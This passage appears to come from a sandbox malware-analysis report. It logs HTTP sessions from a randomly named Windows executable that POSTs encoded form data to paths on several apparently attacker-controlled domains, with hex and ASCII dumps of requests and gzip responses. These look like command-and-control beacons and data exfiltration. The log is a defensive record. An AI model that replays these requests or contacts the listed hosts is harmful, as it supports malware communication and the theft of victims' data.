Dec 13, 2024 13:10:02.206742048 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Fri, 13 Dec 2024 12:10:01 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
Dec 13, 2024 13:10:02.206782103 CET	899	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7JQd+EI?2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50039	217.160.0.60	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:10:03.508893967 CET	796	OUT	POST /tycs/ HTTP/1.1 Host: www.solarand.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.solarand.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 223 Referer: http://www.solarand.online/tycs/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 45 6c 6a 57 76 55 31 78 5a 6b 50 32 6c 74 78 79 6f 71 6f 72 77 34 49 4c 51 55 49 76 4b 72 42 73 79 36 39 2f 64 41 61 58 30 7a 48 52 4f 35 45 2b 50 36 6e 64 48 30 6b 51 74 75 66 6a 6e 7a 5a 30 65 55 39 63 50 31 4b 78 37 35 32 67 2f 7a 79 52 6e 42 4c 78 4d 51 6a 38 2b 4f 37 63 6e 73 32 42 2b 4f 37 6a 55 30 56 54 2f 76 64 68 54 62 38 6d 34 7a 78 59 49 6f 36 2b 39 45 30 2b 49 38 67 46 49 68 37 61 6a 73 76 4c 5a 38 53 49 7a 6a 69 72 54 4b 4c 51 2f 6b 77 75 59 36 53 49 44 58 72 44 71 37 73 32 62 48 4e 6a 65 65 70 38 49 56 30 50 35 42 35 58 2b 6d 2b 61 2f 79 42 47 58 47 44 4c 46 30 6f 58 70 65 59 71 58 4f 4c 63 63 39 55 6d 66 59 4b 70 41 78 6f 3d Data Ascii: 9B_ppt=EljWvU1xZkP2ltxyoqorw4ILQUIvKrBsy69/dAaX0zHRO5E+P6ndH0kQtufjnzZ0eU9cP1Kx752g/zyRnBLxMQj8+O7cns2B+O7jU0VT/vdhTb8m4zxYIo6+9E0+I8gFIh7ajsvLZ8SIzjirTKLQ/kwuY6SIDXrDq7s2bHNjeep8IV0P5B5X+m+a/yBGXGDLF0oXpeYqXOLcc9UmfYKpAxo=
Dec 13, 2024 13:10:04.777515888 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Fri, 13 Dec 2024 12:10:04 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
Dec 13, 2024 13:10:04.777553082 CET	899	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7JQd+EI?2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50040	217.160.0.60	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:10:06.165910006 CET	10878	OUT	POST /tycs/ HTTP/1.1 Host: www.solarand.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.solarand.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 10303 Referer: http://www.solarand.online/tycs/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 45 6c 6a 57 76 55 31 78 5a 6b 50 32 6c 74 78 79 6f 71 6f 72 77 34 49 4c 51 55 49 76 4b 72 42 73 79 36 39 2f 64 41 61 58 30 7a 50 52 4f 76 59 2b 4f 62 6e 64 47 30 6b 51 6e 4f 66 75 6e 7a 59 75 65 55 31 59 50 31 32 68 37 37 2b 67 2b 51 36 52 77 6a 6a 78 43 51 6a 38 33 75 37 52 70 4d 32 55 2b 4f 72 6e 55 30 46 54 2f 76 64 68 54 5a 6b 6d 76 32 46 59 4f 6f 36 2f 36 45 30 36 5a 73 67 74 49 68 44 6b 6a 73 61 77 5a 4d 79 49 7a 44 79 72 41 76 58 51 67 55 77 57 62 36 54 50 44 58 76 59 71 36 41 36 62 47 70 4e 65 5a 5a 38 4b 68 74 58 6a 6a 68 63 73 55 57 72 71 79 64 45 50 33 57 53 4c 7a 38 57 6d 64 4d 64 4d 63 33 2b 51 64 70 57 48 71 2b 70 65 33 76 75 54 7a 35 31 43 79 78 72 69 67 46 4a 79 58 67 56 77 4a 68 39 49 4a 57 69 6f 70 67 51 51 55 35 37 4f 58 5a 6f 4e 38 44 46 66 4e 6b 44 62 66 64 6b 59 6f 52 43 30 76 6f 67 2f 2f 4c 36 31 6b 69 45 6f 2b 62 55 67 38 79 41 42 41 6c 30 54 49 34 55 49 70 64 68 55 43 6d 5a 47 77 57 47 52 69 45 77 46 4d 45 59 76 44 39 30 78 78 4c 44 67 6a 42 44 47 69 4a [TRUNCATED] Data Ascii: 9B_ppt=EljWvU1xZkP2ltxyoqorw4ILQUIvKrBsy69/dAaX0zPROvY+ObndG0kQnOfunzYueU1YP12h77+g+Q6RwjjxCQj83u7RpM2U+OrnU0FT/vdhTZkmv2FYOo6/6E06ZsgtIhDkjsawZMyIzDyrAvXQgUwWb6TPDXvYq6A6bGpNeZZ8KhtXjjhcsUWrqydEP3WSLz8WmdMdMc3+QdpWHq+pe3vuTz51CyxrigFJyXgVwJh9IJWiopgQQU57OXZoN8DFfNkDbfdkYoRC0vog//L61kiEo+bUg8yABAl0TI4UIpdhUCmZGwWGRiEwFMEYvD90xxLDgjBDGiJAYKpNTBKjfNl4sj6Xa+gb5PazirCW1k387ouakND45tzSLwGCBvZnvyW+MEtScahyh8IGSDr/hhENfj0dFofvCplM8231/FNfmxrR2AqkeDMH1ZsQYqvvMZtydyqfu9YLGn/+CAW5HieC12lWgTcDiKFBDqkBynTccWvPFslAlZpeDNwWR7qLkE49XdSgKUkHaklh0VhK9/nmCsN7TLXGxQCRG9C5s5dQeFBIkDOVlCRqu/maSPeHIb/eZcryM5MkFfDs3IFFA/ixcNwC4D8I1PHiJ/8erUcyNTGVd4ytgDVUsOLWQ8QcP7w46psHrNnhX2qR/gA+0WWkBUH3J+EPW8+HoNI/kdl8NqzX2xhtD0EF1USKmknZXIQTi+/7yQjxrOcBrgryaeF/X8wy2R3jSTmKsLrk6O9w22X0yNKsGeZ8QI0729IIqkEJpg9w/7atYxvdfOANys+W+1eqhc7OoVqgYjdhRaja8S2aBAp1TW0V7+4d4VS0RDGIKUSBlKwl4XqncuIR5EYsl+Qy4sbVEDu+zekKL7/7F7DVhv4YQZvFwfU0a8WfoYcNKw6WJ78jxa4G3/rxChQBwpgIl0YPve26ph+azlcbuTda9CUx2P2is85u812RgRmmuxyh/v7t+4iJP88//E3eOJKlYjI0nyyrQr91D2axL [TRUNCATED]
Dec 13, 2024 13:10:07.610346079 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Fri, 13 Dec 2024 12:10:07 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
Dec 13, 2024 13:10:07.610388041 CET	899	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7JQd+EI?2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50041	217.160.0.60	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:10:08.819462061 CET	514	OUT	GET /tycs/?9B_ppt=JnL2shJTRGPmh49fpIgYgN5+UFlzCIkQlKFRWx+imQO/VZY5IL7EOXQuybzppj9USUhCNE2Oi8OvmQ7twQzrLnOW74Dzktiy3u2kYAFK0p92dbQcp3RrNNk=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1 Host: www.solarand.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Dec 13, 2024 13:10:10.090229034 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 4545 Connection: close Date: Fri, 13 Dec 2024 12:10:09 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 54 52 41 54 4f 20 2d 20 44 6f 6d 61 69 6e 20 72 65 73 65 72 76 65 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 4f 70 65 6e 20 53 61 6e 73 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 22 3e 0d 0a 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 33 66 33 66 33 3b 20 70 61 64 64 69 6e 67 3a 20 34 30 70 78 20 30 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 35 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 20 6d 61 72 67 69 6e 2d [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <title>STRATO - Domain reserved</title> </head> <body style="background-color: #fff; font-family: Open Sans, sans-serif; padding: 0; margin: 0;"> <div style="background-color: #f3f3f3; padding: 40px 0; width: 100%;"> <div style="width: 150px; margin-left: auto; margin-right: auto;"><a href="https://www.strato.de" rel="nofollow" style="border: 0;"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 157.4 33.7"><defs><style>.a{fill:#f80;}.b{fill:#f80;}</style></defs><title>STRATO</title><path class="a" d="M17.8,7a4.69,4.69,0,0,1-4.7-4.7H29.6A4.69,4.69,0,0,1,34.3,7V23.5a4.69,4.69,0,0,1-4.7-4.7V9.4A2.37,2.37,0,0,0,27.2,7Z" transform="translate(-1.3 -2.3)"/><path class="b" d="M57.7,32.9c-1.3,2.5-4.7,2.6-7.3,2.6-2.1,0-4-.1-5.2-.2-1.5-.1-1.8-.5-1.8-1.3V32.9c0-1.3.2-1.7,1.4-1.7,2.1,0,3.1.2,6.2.2,2.4,0,2.9-.2,2.9-2.3,0-2.4,0-2.5-1.3-3.1a42.2,42.2,0,0,0-4.5-1.8c-3.7-1.6-4.4-2.3-4.4-6.5,0-2.6.5-4.8,3.4-5.7a14,14,0,0,1,4.9-.6c1.6, [TRUNCATED]
Dec 13, 2024 13:10:10.090253115 CET	1236	IN	Data Raw: 33 2c 30 2c 31 2e 36 2c 31 2e 33 2c 32 2e 31 2e 39 2e 35 2c 32 2c 2e 38 2c 32 2e 39 2c 31 2e 33 2c 34 2e 39 2c 32 2e 31 2c 36 2c 32 2e 35 2c 36 2c 36 2e 37 61 31 30 2e 31 32 2c 31 30 2e 31 32 2c 30 2c 30 2c 31 2d 2e 36 2c 34 2e 38 4d 37 37 2e 31 Data Ascii: 3,0,1.6,1.3,2.1.9.5,2,.8,2.9,1.3,4.9,2.1,6,2.5,6,6.7a10.12,10.12,0,0,1-.6,4.8M77.1,15.7c-2.1,0-3.7,0-5.2-.1v18a1.4,1.4,0,0,1-1.5,1.6H69c-1.1,0-1.7-.3-1.7-1.6V15.7c-1.5,0-3.2.1-5.3.1-1.5,0-1.5-.9-1.5-1.6v-.9A1.36,1.36,0,0,1,62,11.8H77.2c.8,0,1.
Dec 13, 2024 13:10:10.090269089 CET	1236	IN	Data Raw: 35 73 2d 2e 36 2c 37 2e 31 2d 32 2e 36 2c 39 2e 35 4d 31 35 33 2c 31 37 2e 34 63 2d 2e 38 2d 31 2e 36 2d 32 2e 34 2d 32 2e 33 2d 34 2e 34 2d 32 2e 33 73 2d 33 2e 36 2e 36 2d 34 2e 34 2c 32 2e 33 63 2d 2e 37 2c 31 2e 35 2d 2e 38 2c 34 2e 34 2d 2e Data Ascii: 5s-.6,7.1-2.6,9.5M153,17.4c-.8-1.6-2.4-2.3-4.4-2.3s-3.6.6-4.4,2.3c-.7,1.5-.8,4.4-.8,6.1s.1,4.6.8,6.1,2.4,2.3,4.4,2.3,3.6-.7,4.4-2.3.8-4.2.8-6.1-.1-4.6-.8-6.1" transform="translate(-1.3 -2.3)"/><path class="a" d="M24.9,14a2.26,2.26,0,0,0-2.3-2.
Dec 13, 2024 13:10:10.090286970 CET	975	IN	Data Raw: 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 22 20 6c 61 6e 67 3d 22 6e 6c 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 63 6f 6c 6f 72 3a 20 23 37 37 37 3b 20 66 6f 6e 74 2d 77 65 Data Ascii: padding-bottom: 30px" lang="nl"><span style="font-size: 14px; color: #777; font-weight: bold;">Nederlands</span><br>Deze website werd zojuist geregistreerd. Een webinhoud werd nog niet toegevoegd.</div> <div style="padding-bottom: 30px"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50042	161.97.142.144	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:10:15.841300964 CET	770	OUT	POST /er88/ HTTP/1.1 Host: www.030002059.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.030002059.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 203 Referer: http://www.030002059.xyz/er88/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 76 36 51 38 63 66 4e 74 47 73 74 56 68 67 51 63 51 6f 69 6e 63 76 46 42 76 2b 46 49 4a 6f 31 30 2b 52 2b 5a 6d 32 57 46 35 72 78 51 30 7a 6f 48 38 30 67 41 65 39 75 78 6e 4b 78 6a 61 6e 63 6c 44 44 38 56 36 6a 33 79 55 55 68 6f 6c 46 61 31 34 68 4f 44 49 55 68 6e 68 66 58 65 62 79 51 2f 49 32 73 4b 77 76 46 77 6e 78 41 47 34 66 68 58 73 4d 74 77 51 77 58 53 62 33 6c 48 62 4d 46 7a 48 46 4f 74 76 78 4e 63 68 65 73 6b 30 6a 51 30 2b 6c 77 5a 6e 74 44 56 71 52 36 63 66 43 57 61 30 53 45 38 49 32 41 37 71 37 7a 57 71 59 63 33 4d 31 59 64 71 41 35 67 33 4a 77 44 43 65 51 6e 64 67 3d 3d Data Ascii: 9B_ppt=v6Q8cfNtGstVhgQcQoincvFBv+FIJo10+R+Zm2WF5rxQ0zoH80gAe9uxnKxjanclDD8V6j3yUUholFa14hODIUhnhfXebyQ/I2sKwvFwnxAG4fhXsMtwQwXSb3lHbMFzHFOtvxNchesk0jQ0+lwZntDVqR6cfCWa0SE8I2A7q7zWqYc3M1YdqA5g3JwDCeQndg==
Dec 13, 2024 13:10:17.022445917 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 13 Dec 2024 12:10:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Dec 13, 2024 13:10:17.022486925 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50043	161.97.142.144	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
